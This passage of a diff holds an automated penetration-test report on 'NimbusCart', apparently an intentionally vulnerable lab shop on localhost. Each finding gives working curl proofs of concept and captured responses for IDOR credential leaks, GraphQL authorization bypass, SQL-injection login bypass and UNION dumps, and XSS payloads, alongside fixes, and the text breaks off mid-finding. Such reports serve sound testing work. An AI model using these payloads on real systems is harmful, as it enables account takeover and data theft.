|
||||
"sha256": "1e47c73f41061aef5e1943d3c8321f41349cf8e3588cfb1286a5627a226773cc",
|
||||
"bytes": 198,
|
||||
"role": "target metadata"
|
||||
}
|
||||
],
|
||||
"properties": [
|
||||
{
|
||||
"id": "P1",
|
||||
"name": "Signed authorization",
|
||||
"status": "present",
|
||||
"evidenced_by": [
|
||||
"audit.jsonl"
|
||||
],
|
||||
"note": "capability recorded and decisions logged"
|
||||
},
|
||||
{
|
||||
"id": "P2",
|
||||
"name": "Scope enforcement",
|
||||
"status": "present",
|
||||
"evidenced_by": [
|
||||
"audit.jsonl",
|
||||
"out-of-scope-findings.json"
|
||||
],
|
||||
"note": "scope decisions recorded, including denials/quarantine"
|
||||
},
|
||||
{
|
||||
"id": "P3",
|
||||
"name": "Evidence & CVSS",
|
||||
"status": "present",
|
||||
"evidenced_by": [
|
||||
"findings.json"
|
||||
],
|
||||
"note": "0/16 findings carry structured evidence · 14 with CVSS · 15 voted · 20 PoC(s) · 0 screenshot(s) · 13 evidence file(s)"
|
||||
},
|
||||
{
|
||||
"id": "P4",
|
||||
"name": "Audit integrity",
|
||||
"status": "present",
|
||||
"evidenced_by": [
|
||||
"audit.jsonl",
|
||||
"audit.jsonl.anchors"
|
||||
],
|
||||
"note": "hash chain plus signed anchors (truncation/rebuild detectable)"
|
||||
},
|
||||
{
|
||||
"id": "P5",
|
||||
"name": "Provenance",
|
||||
"status": "present",
|
||||
"evidenced_by": [
|
||||
"provenance.json"
|
||||
],
|
||||
"note": "signed provenance manifest with structural signature"
|
||||
}
|
||||
],
|
||||
"bundle_hash": "579449f887726db317b0169641be27dc5a11db46da698b87255d91dfaae9697f"
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,10 @@
|
||||
{
|
||||
"asset": "NimbusCart Inc",
|
||||
"brand": "NimbusCart Inc",
|
||||
"server": "",
|
||||
"status": 200,
|
||||
"target": "http://localhost:3000",
|
||||
"tech": [],
|
||||
"title": "Home · NimbusCart",
|
||||
"typesafe": false
|
||||
}
|
||||
@@ -0,0 +1,105 @@
|
||||
<!DOCTYPE html><html><head><meta charset=utf-8><title>NeuroSploit Report — http://localhost:3000</title><style>:root{--violet:#7c5cff}body{font:14px/1.6 -apple-system,Segoe UI,Roboto,sans-serif;color:#1a1a1a;max-width:860px;margin:40px auto;padding:0 24px}h1{margin:0;font-size:26px}h2{font-size:15px;margin:22px 0 8px}.b{color:var(--violet);font-weight:800}.sub{color:#888;font-size:13px;margin:2px 0 16px}table.assettbl{border-collapse:collapse;width:100%;margin:0 0 16px;font-size:12.5px}table.assettbl td{border:0.5pt solid #ddd;padding:6px 9px}table.assettbl td:first-child{color:#888;width:160px}.summary-grid{display:grid;grid-template-columns:repeat(5,1fr);gap:8px;margin:10px 0 6px}.sumbox{border:1px solid #ddd;border-radius:6px;padding:10px 6px;text-align:center}.sumn{font-size:20px;font-weight:800}.suml{font-size:9px;letter-spacing:.4px;color:#888;margin-top:2px}table.kc{border-collapse:collapse;width:100%;margin:8px 0 16px;font-size:12.5px}table.kc th,table.kc td{border:0.5pt solid #ddd;padding:6px 9px;text-align:left}table.kc th{color:#555;font-size:11px;text-transform:uppercase;letter-spacing:.3px}.finding{border:0.5pt solid #ddd;border-left:3pt solid #999;border-radius:6px;padding:14px 18px;margin:14px 0}.finding h3{margin:0 0 8px;font-size:15px}table.fieldgrid{border-collapse:collapse;width:100%;font-size:11.5px;margin-bottom:6px}table.fieldgrid td{padding:3px 6px}.fk{color:#888;white-space:nowrap;width:1%}.sev{color:#fff;border-radius:6px;padding:2px 8px;font-size:12px;margin-right:8px}.m{color:#666;font-size:12px}pre{background:#0f1117;color:#dfe6f3;padding:11px;border-radius:8px;overflow:auto;font-size:12.5px;white-space:pre-wrap}h4{margin:12px 0 3px;font-size:11px;text-transform:uppercase;letter-spacing:.5px;color:var(--violet)}.shots{display:flex;flex-wrap:wrap;gap:12px;margin:6px 0}.shot{margin:0;max-width:100%}.shot img{max-width:100%;border:0.5pt solid #ddd;border-radius:8px;display:block}.shot figcaption{color:#888;font-size:11px;margin-top:3px;font-family:ui-monospace,Menlo,monospace}.footer{color:#888;font-size:11px;margin-top:24px;border-top:0.5pt solid #ddd;padding-top:10px}</style></head><body><h1><span class=b>Neuro</span>Sploit</h1><div class=sub>Penetration Test Report</div><table class=assettbl><tr><td>Asset</td><td><b>NimbusCart Inc</b></td></tr><tr><td>URL / target</td><td>http://localhost:3000</td></tr></table><h2>Executive Summary</h2><div class=summary-grid><div class=sumbox style=border-color:#c0392b><div class=sumn style=color:#c0392b>5</div><div class=suml>CRITICAL</div></div><div class=sumbox style=border-color:#e67e22><div class=sumn style=color:#e67e22>4</div><div class=suml>HIGH</div></div><div class=sumbox style=border-color:#f1c40f><div class=sumn style=color:#f1c40f>1</div><div class=suml>MEDIUM</div></div><div class=sumbox style=border-color:#3498db><div class=sumn style=color:#3498db>0</div><div class=suml>LOW</div></div><div class=sumbox style=border-color:#7f8c8d><div class=sumn style=color:#7f8c8d>0</div><div class=suml>INFO</div></div></div><h2>Vulnerability Summary</h2><table class=kc><tr><th>#</th><th>Vulnerability</th><th>Severity</th><th>Status</th><th>OWASP / CWE</th></tr><tr><td>1</td><td>BOLA/IDOR on GET /api/v2/users/:id — any authenticated customer reads any user's full record (plaintext password + apiKey), incl. admin</td><td><span class=sev style=background:#c0392b>Critical</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A01:2021-Broken-Access-Control</td></tr><tr><td>2</td><td>Unauthenticated IDOR on POST /api/graphql user(id:N) — returns any user's cleartext password + apiKey with no session</td><td><span class=sev style=background:#c0392b>Critical</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A01:2021-Broken-Access-Control</td></tr><tr><td>3</td><td>SQL Injection Authentication Bypass at POST /login (username field)</td><td><span class=sev style=background:#c0392b>Critical</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A03:2021-Injection</td></tr><tr><td>4</td><td>BOLA + excessive data exposure at GET /api/v2/users/:id — any customer reads any user's full record (plaintext password + apiKey)</td><td><span class=sev style=background:#c0392b>Critical</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A01:2021-Broken-Access-Control</td></tr><tr><td>5</td><td>UNION-based SQL injection at GET /shop/search?q= dumps users table</td><td><span class=sev style=background:#c0392b>Critical</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A03:2021-Injection</td></tr><tr><td>6</td><td>Reflected XSS at GET /shop/search?q= (executes in browser)</td><td><span class=sev style=background:#e67e22>High</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A03:2021-Injection</td></tr><tr><td>7</td><td>Unrestricted file upload leads to stored XSS via SVG/HTML served inline from /uploads/</td><td><span class=sev style=background:#e67e22>High</span></td><td><span sLine truncated
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)</p><h4>How to fix it</h4><p>Enforce object-level authorization: in the /api/v2/users/:id handler reject when :id != authenticated caller id (or require an explicit admin role for arbitrary ids). Separately, never serialize password/apiKey in API responses — return a whitelisted DTO (id, username, role). Stop storing passwords in cleartext (bcrypt/argon2).</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s http://localhost:3000/api/v2/users/1 # baseline: {"error":"missing bearer token"}</pre></li><li><pre class=step>curl -s -c /tmp/j -X POST http://localhost:3000/register -d 'username=poc1&email=poc1@example.test&password=Poc1pw'</pre></li><li><pre class=step>TOK=$(curl -s -b /tmp/j http://localhost:3000/account/api-token | grep -Eo 'eyJ[A-Za-z0-9_.-]*') # your customer JWT (id 14)</pre></li><li><pre class=step>curl -s -H "Authorization: Bearer $TOK" http://localhost:3000/api/v2/users/1 # returns admin's full record incl plaintext password + apiKey</pre></li><li><pre class=step>curl -s -i -X POST http://localhost:3000/login --data-urlencode 'username=admin' --data-urlencode 'password=SuperSecretAdmin!2024' # 302 -> /account : logged in as admin</pre></li></ol><h4>Payload</h4><pre class=payload>Authorization: Bearer <valid customer JWT>; GET /api/v2/users/1 (also /12, /13 — any id)</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
Baseline no token -> {"error":"missing bearer token"} (auth IS enforced). With customer B's token (JWT id=13): GET /api/v2/users/12 -> {"id":12,"username":"nrsplt_a_10061","password":"Passw0rd_A_10061","apiKey":"nk_live_652c1651e4501044",...}. GET /api/v2/users/1 -> {"id":1,"username":"admin","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9adminSECRETkeydonot_share"}. Response carries _flag BURPAT{api_excessive_data_users_17874d4a}. Reproduced x2 identical. CHAIN: logging in with the leaked admin password (admin / SuperSecretAdmin!2024) returned 302 -> /account rendering 'My Account (admin)', Balance $500000.00, role admin = full admin account takeover.</pre></section><section class=finding style=border-left-color:#c0392b><h3><span class=sev style=background:#c0392b>Critical</span> 2. Unauthenticated IDOR on POST /api/graphql user(id:N) — returns any user's cleartext password + apiKey with no session</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Critical</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>1/1 · refute 1/2 · receipt_missing · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/api/graphql</td></tr><tr><td class=fk>Agent</td><td>idor</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>http://localhost:3000/api/graphql — GraphQL Query field `user(id: Int)` — argument `id`. Resolver has NO authentication or object-level authorization and exposes password/apiKey fields.</p><h4>What it means</h4><p>Measured: with zero authentication an attacker enumerates every user id and receives cleartext password + live apiKey. id=1 yields admin/SuperSecretAdmin!2024, which authenticates a full admin session (verified). Complete unauthenticated database credential dump and account takeover.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Require authentication on /api/graphql; add object-level authorization in the user resolver (caller may only read their own id unless admin); remove password/apiKey from the GraphQL schema entirely; disable introspection in production.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -H 'Content-Type: application/json' -X POST http://localhost:3000/api/graphql -d '{"query":"{ user(id:1){ id username email role apiKey password } }"}' # admin creds, no auth</pre></li><li><pre class=step>curl -s -H 'Content-Type: application/json' -X POST http://localhost:3000/api/graphql -d '{"query":"{ user(id:12){ id username password apiKey } }"}' # different user, different data</pre></li><li><pre class=step># confirm chain: log in with the returned admin password</pre></li><li><pre class=step>curl -s -i -X POST http://localhost:3000/login --data-urlencode 'username=admin' --data-urlencode 'password=SuperSecretAdmin!2024'</pre></li></ol><h4>Payload</h4><pre class=payload>POST /api/graphql {"query":"{ user(id:1){ id username email role apiKey password } }"}</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
No cookie, no token: POST /api/graphql {"query":"{ user(id:1){...} }"} -> {"data":{"user":{"id":1,"username":"admin","email":"admin@nimbuscart.test","role":"admin","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share","password":"SuperSecretAdmin!2024"}},"_flag":"BURPAT{api_graphql_authz_bypass_e7c3fc41}"}. Same query id:12 -> user A record, id:13 -> user B record — arbitrary id, distinct per-user data, all unauthenticated.</pre></section><section class=finding style=border-left-color:#c0392b><h3><span class=sev style=background:#c0392b>Critical</span> 3. SQL Injection Authentication Bypass at POST /login (username field)</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Critical</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-89</td><td class=fk>Confidence</td><td>1/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>POST http://localhost:3000/login</td></tr><tr><td class=fk>Agent</td><td>login_sqli_bypass</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>POST http://localhost:3000/login — POST /login, form-urlencoded body field `username`. Payload `admin'--` in username; password can be any value.</p><h4>What it means</h4><p>Complete authentication bypass with no valid credentials. The session issued lands as the admin user: GET /account returned the admin dashboard (admin role badge, Balance $500000.00, admin-only links Transfer funds / Change email / Get API token / Order webhook). Measured: full unauthorized admin session obtained from a single unauthenticated POST. Payload `admin'--` targets a named account; a generic tautology (`zzz' OR 1=1-- -`) also succeeded, so any/first row is selectable.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited)</p><h4>How to fix it</h4><p>Use a parameterised/prepared query (or ORM binding) for the credential lookup so `username` is never concatenated into SQL. Look up the user row by bound username, then verify the password hash server-side with a constant-time comparison; never let input terminate or comment out the SQL. Return a generic 'Invalid credentials' regardless of which field is wrong, and add auth rate-limiting/lockout (server currently states 'no lockout enforced').</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -o /dev/null -w 'status=%{http_code} loc=%{redirect_url}\n' -A NeuroSploit/4.0.0 -X POST http://localhost:3000/login --data-urlencode "username=nobody_zzz" --data-urlencode "password=wrongpass" --data-urlencode "next=" # baseline -> 302 /login?err=Invalid credentials</pre></li><li><pre class=step>curl -s -o /dev/null -w 'status=%{http_code} loc=%{redirect_url}\n' -A NeuroSploit/4.0.0 -c /tmp/cj.txt -X POST http://localhost:3000/login --data-urlencode "username=admin'--" --data-urlencode "password=x" --data-urlencode "next=" # attack -> 302 /account</pre></li><li><pre class=step>curl -s -A NeuroSploit/4.0.0 -b /tmp/cj.txt http://localhost:3000/account | grep -E 'admin|Flag|Balance' # authenticated admin content returned</pre></li></ol><h4>Payload</h4><pre class=payload>username=admin'--&password=x&next=</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
BASELINE POST /login username=nobody_zzz&password=wrongpass -> HTTP 302, Location: /login?err=Invalid%20credentials%20(attempt%20%231%2C%20no%20lockout%20enforced). ATTACK POST /login username=admin'--&password=x -> HTTP 302, Location: /account, Set-Cookie: nimbus.sid=... . GET /account with that cookie -> HTTP 200 body: 'Logged in via SQL injection auth bypass! Flag: BURPAT{web_sqli_login_bypass_e1ad1d9f}', 'My Account (admin)', 'Balance: $500000.00'. CONTROL POST username=admin&password=x (no injection) -> 302 /login?err=Invalid credentials, proving the trailing --' comment neutralises the password check. Reproduced 3x via curl and once via a real Chromium browser (Playwright). PoC: pocs/sqli_login_bypass.sh. Screenshot: evidence/sqli-login-bypass-admin.png (browser-rendered admin account + flag).</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/sqli-login-bypass-001-1.png" alt="proof for SQL Injection Authentication Bypass at POST /login (username field)"><figcaption>evidence/sqli-login-bypass-001-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/sqli_login_bypass.sh"><code>pocs/sqli_login_bypass.sh</code></a></li></ul></section><section class=finding style=border-left-color:#c0392b><h3><span class=sev style=background:#c0392b>Critical</span> 4. BOLA + excessive data exposure at GET /api/v2/users/:id — any customer reads any user's full record (plaintext password + apiKey)</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Critical</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>1/1 · refute 0/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/api/v2/users/{id}</td></tr><tr><td class=fk>Agent</td><td>api_bola_numeric_ids</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/api/v2/users/{id} — Path parameter `{id}` on GET /api/v2/users/:id. Authenticated with a customer Bearer JWT (issued at /account/api-token). No per-object owner check; response also serializes password/apiKey fields the UI never uses.</p><h4>What it means</h4><p>Measured: any authenticated customer reads every user's full record — username, email, plaintext password, live apiKey, balance, role — by incrementing the numeric id. I retrieved admin (id 1), alice (2), bob (3). Chained the leaked admin password into a successful admin login and reached /admin (all-users listing) = full administrative account takeover.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Enforce server-side object-level authorization: reject requests where {id} != authenticated subject unless the caller holds an admin role. Remove password/apiKey from the API serializer (never return credential fields to any client). Store passwords hashed (bcrypt/argon2), not plaintext.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -c j.txt -d 'username=t1' -d 'email=t1@example.test' -d 'password=Pw!123456' http://localhost:3000/register</pre></li><li><pre class=step>curl -s -b j.txt http://localhost:3000/account/api-token # copy the eyJ... JWT (your uid in payload)</pre></li><li><pre class=step>curl -s -H 'Authorization: Bearer <JWT>' http://localhost:3000/api/v2/users/1 # returns admin record incl. password+apiKey</pre></li><li><pre class=step>curl -si -d 'username=admin' -d 'password=SuperSecretAdmin!2024' http://localhost:3000/login # 302 /account (takeover)</pre></li><li><pre class=step>curl -s -b <admin-cookie> http://localhost:3000/admin # full admin panel</pre></li></ol><h4>Payload</h4><pre class=payload>Authorization: Bearer <customer JWT uid=8> → GET /api/v2/users/1</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
Baseline: my JWT payload = {"id":8,"role":"customer"}. Attack: GET /api/v2/users/1 with my customer token → HTTP 200 {"id":1,"username":"admin","email":"admin@nimbuscart.test","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9admin..."}. Repeated for id=2 (alice) and id=3 (bob) — deterministic, full records each time. CHAIN: used leaked admin password to POST /login → 302 /account as admin, then GET /admin → 200 rendered Admin Panel listing all 9 users. PoC: pocs/bola_users_api.sh (re-run confirmed with fresh uid=11 token reading admin).</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/ns-001-1.png" alt="proof for BOLA + excessive data exposure at GET /api/v2/users/:id — any customer reads any user's full record (plaintext password + apiKey)"><figcaption>evidence/ns-001-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/bola_users_api.sh"><code>pocs/bola_users_api.sh</code></a></li></ul></section><section class=finding style=border-left-color:#c0392b><h3><span class=sev style=background:#c0392b>Critical</span> 5. UNION-based SQL injection at GET /shop/search?q= dumps users table</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Critical</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-89</td><td class=fk>Confidence</td><td>0/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/shop/search?q=</td></tr><tr><td class=fk>Agent</td><td>api_bola_numeric_ids</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/shop/search?q= — Query parameter `q` concatenated into a SQL SELECT (SQLite dialect). 5-column UNION aligns.</p><h4>What it means</h4><p>Unauthenticated full read of the users table including plaintext passwords (verified admin credential) — arbitrary DB read.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited)</p><h4>How to fix it</h4><p>Use parameterised/prepared statements for the search query; never string-concatenate `q`. Apply least-privilege DB account.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s "http://localhost:3000/shop/search?q=zzz'" # malformed → altered output</pre></li><li><pre class=step>curl -s "http://localhost:3000/shop/search?q=zzz'%20UNION%20SELECT%20username,password,role,4,5%20FROM%20users--%20" # dumps admin credentials</pre></li></ol><h4>Payload</h4><pre class=payload>q=zzz' UNION SELECT username,password,role,4,5 FROM users--</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
HTTP 200 body rendered a results table containing admin / SuperSecretAdmin!2024 / admin and the app's own banner "UNION SQLi confirmed - sensitive columns dumped". Single-quote (q=zzz') alters/breaks the query deterministically. PoC: pocs/sqli_union_search.sh (unauthenticated).</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/sqli_union_search.sh"><code>pocs/sqli_union_search.sh</code></a></li></ul></section><section class=finding style=border-left-color:#e67e22><h3><span class=sev style=background:#e67e22>High</span> 6. Reflected XSS at GET /shop/search?q= (executes in browser)</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>High</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-79</td><td class=fk>Confidence</td><td>1/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/shop/search?q=</td></tr><tr><td class=fk>Agent</td><td>api_bola_numeric_ids</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/shop/search?q= — Query parameter `q` reflected unescaped into the HTML: <p class="lead">Showing results for: {q}</p>.</p><h4>What it means</h4><p>Arbitrary JavaScript execution in a victim's session on localhost:3000 origin (confirmed via document.title mutation). Can steal app state / drive authenticated actions.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>HTML-encode `q` on output (context-aware escaping in the template); add a script-src CSP (current CSP only sets frame-ancestors).</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s "http://localhost:3000/shop/search?q=<b>MARK</b><script>alert(1)</script>" # reflected verbatim</pre></li><li><pre class=step>Open in a browser: http://localhost:3000/shop/search?q=<img src=x onerror=document.title='XSSPWN_ns7xk9'> # title becomes XSSPWN_ns7xk9</pre></li></ol><h4>Payload</h4><pre class=payload>q=<img src=x onerror=document.title='XSSPWN_ns7xk9'></pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
Baseline: `GET /shop/search?q=xss1337test` -> 200, Content-Type text/html, body contains `<p class="lead">Showing results for: xss1337test</p>` (source comment literally reads `reflected without encoding`). Attack: `GET /shop/search?q=<img src=x onerror=alert(document.domain)>` -> 200, body contains raw `<p class="lead">Showing results for: <img src=x onerror=alert(document.domain)></p>` — `<`/`>` NOT entity-encoded, injected as live DOM. Browser proof: Playwright/Chromium loaded the URL and the `onerror` handler fired a dialog with message `localhost-NS9X7K2XSS`, proving my injected JS executed (marker present, absent from any static reflection). CSP header is only `Content-Security-Policy: frame-ancestors 'self'` — no `script-src`/`default-src`, so inline event handlers are not blocked.</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/ns-005-1.png" alt="proof for Reflected XSS at GET /shop/search?q= (executes in browser)"><figcaption>evidence/ns-005-1.png</figcaption></figure></div></section><section class=finding style=border-left-color:#e67e22><h3><span class=sev style=background:#e67e22>High</span> 7. Unrestricted file upload leads to stored XSS via SVG/HTML served inline from /uploads/</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>High</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A04:2021-Insecure-Design · CWE-434</td><td class=fk>Confidence</td><td>1/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>POST http://localhost:3000/support/ticket</td></tr><tr><td class=fk>Agent</td><td>file_upload</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>POST http://localhost:3000/support/ticket — multipart/form-data field `attachment` on POST /support/ticket; file stored under original filename and served at GET /uploads/<filename> with attacker-controlled Content-Type</p><h4>What it means</h4><p>MEASURED: any file (SVG, HTML, .php, arbitrary extension) is accepted with no extension/content-type/content validation, stored under its original attacker-chosen filename, and served from /uploads/ with a matching Content-Type. Navigating to /uploads/x.svg executed attacker JS in the http://localhost:3000 origin (dialog confirmed in headless Chromium); an .html upload is served as text/html, giving full same-origin script execution against any user who opens the attachment link on a public ticket. Response CSP contains only frame-ancestors, so inline script is not blocked. NOT observed: server-side code execution — the .php payload was returned as raw source, so no RCE.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Server-side allowlist of permitted MIME types AND extensions (e.g. png/jpeg/gif/pdf) validated by magic bytes, not the client-supplied Content-Type; rename uploads to a random server-generated name and strip the original extension; serve /uploads/ with Content-Disposition: attachment and Content-Type: application/octet-stream (or a text/plain sandbox) plus a strict Content-Security-Policy (default-src 'none') so SVG/HTML cannot execute; ideally store files outside the web root and stream them through an authenticated handler.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>printf '<?xml version="1.0"?>\n<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><script>alert(1)</script><text x=10 y=20>nrsplt_svg_9k2</text></svg>' > x.svg</pre></li><li><pre class=step>curl -s -i -F 'subject=poc' -F 'body=poc' -F 'attachment=@x.svg;type=image/svg+xml' http://localhost:3000/support/ticket # -> 302 Location: /support</pre></li><li><pre class=step>curl -s http://localhost:3000/support | grep uploads # -> href="/uploads/x.svg"</pre></li><li><pre class=step>curl -s -i http://localhost:3000/uploads/x.svg # -> 200, Content-Type: image/svg+xml, script intact, no script-src CSP</pre></li><li><pre class=step>Open http://localhost:3000/uploads/x.svg in a browser -> alert() fires (JS executes in localhost:3000 origin)</pre></li></ol><h4>Payload</h4><pre class=payload>attachment=@x.svg (Content-Type image/svg+xml) containing <svg onload="alert('nrsplt_svg_9k2')"><script>alert('nrsplt_svg_9k2')</script></svg>; also h.html served as text/html</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
Upload: POST /support/ticket (subject+body+attachment) -> HTTP 302 Location: /support. /support then lists: <a href="/uploads/x.svg">attachment</a>. GET /uploads/x.svg -> HTTP 200, Content-Type: image/svg+xml, body = SVG with script verbatim. Response CSP is only `Content-Security-Policy: frame-ancestors 'self'` (no script-src). Headless Chromium navigation to /uploads/x.svg => DIALOG_FIRED: "nrsplt_svg_9k2" (inline SVG script executed in localhost:3000 origin). HTML variant: GET /uploads/h.html -> 200 Content-Type: text/html; charset=UTF-8 (arbitrary same-origin HTML/JS). PHP variant: GET /uploads/s.php -> 200 Content-Type: application/x-httpd-php but body returned as RAW source (<?php echo "nrsplt_php";?>) — NOT executed (Node static serve, no PHP engine) => no RCE.</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/ns-upload-001-1.png" alt="proof for Unrestricted file upload leads to stored XSS via SVG/HTML served inline from /uploads/"><figcaption>evidence/ns-upload-001-1.png</figcaption></figure></div></section><section class=finding style=border-left-color:#e67e22><h3><span class=sev style=background:#e67e22>High</span> 8. Stored XSS via product review `text`, rendered unescaped at GET /shop/product/:id to all viewers</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>High</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-79</td><td class=fk>Confidence</td><td>1/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>POST http://localhost:3000/shop/product/1/review (display: GET http://localhost:3000/shop/product/1)</td></tr><tr><td class=fk>Agent</td><td>xss_stored</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>POST http://localhost:3000/shop/product/1/review (display: GET http://localhost:3000/shop/product/1) — POST /shop/product/:id/review, form field `text`. Stored and echoed verbatim inside <div class="card"><div>…HERE…</div></div> on GET /shop/product/:id. Requires an authenticated session to POST; display page is PUBLIC (renders to anonymous visitors).</p><h4>What it means</h4><p>Measured: an authenticated user's review body is stored and returned unescaped, and the injected <script>/<img onerror> execute in a real browser in the localhost origin for every visitor of the product page, including unauthenticated ones. Script runs same-origin as NimbusCart, so it can read/exfil the victim's session-scoped state and act as the victim (session cookie nimbus.sid is HttpOnly, so document.cookie theft is blocked, but same-origin requests as the victim — e.g. driving authenticated /account actions — are not).
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 6.1 if fully exploited)</p><h4>How to fix it</h4><p>HTML-entity-encode review text on output in the product template (the templating engine's auto-escaping is being bypassed here — render as text, not raw HTML). Add a real Content-Security-Policy with `script-src 'self'` (no inline) as defense-in-depth; the current CSP only sets frame-ancestors.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -c /tmp/j.jar --data-urlencode 'username=nrsplt_t' --data-urlencode 'email=nrsplt_t@example.test' --data-urlencode 'password=Nrsplt_t_pw!' http://localhost:3000/register -o /dev/null # register + auto-login</pre></li><li><pre class=step>curl -s -b /tmp/j.jar --data-urlencode "text=<script>document.title='nsxss7331'</script><img src=x onerror=alert('nsxss7331')>" http://localhost:3000/shop/product/1/review -o /dev/null # store payload</pre></li><li><pre class=step>curl -s http://localhost:3000/shop/product/1 | grep nsxss7331 # baseline: no session needed to VIEW; payload appears raw, un-encoded</pre></li><li><pre class=step>Open http://localhost:3000/shop/product/1 in a browser -> alert('nsxss7331') fires / document.title becomes 